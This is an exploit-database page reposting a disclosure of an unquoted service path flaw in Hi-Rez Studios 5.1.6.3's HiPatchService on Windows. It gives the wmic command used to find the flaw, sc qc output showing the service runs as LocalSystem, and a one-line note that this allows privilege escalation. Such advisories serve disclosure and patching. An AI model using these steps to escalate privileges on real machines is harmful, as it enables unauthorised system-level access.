Hirez studios 5.1.6.3 hipatchservice unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-03-23 | Type : local | Platform : windows
This exploit / vulnerability Hirez studios 5.1.6.3 hipatchservice unquoted service path is for educational purposes only and if it is used you will do on your own risk!

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# Exploit Title: Hi-Rez Studios 5.1.6.3 - 'HiPatchService' Unquoted Service Path
# Dicovery by: Ekrem Can Kök
# Discovery Date: 2021-03-22
# Vendor Homepage: https://www.hirezstudios.com
# Version: 5.1.6.3
# Tested on: Windows 10 Pro x64

# Step to discover Unquoted Service Path:

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\" | findstr /i "HiPatchService" | findstr /i /v """

Hi-Rez Studios Authenticate and Update Service HiPatchService C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe Auto

# Service info:

C:\>sc qc "HiPatchService"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: HiPatchService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Hi-Rez Studios\HiPatchService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Hi-Rez Studios Authenticate and Update Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

# Exploit:

This vulnerability could permit executing code during startup or reboot with the escalated privileges.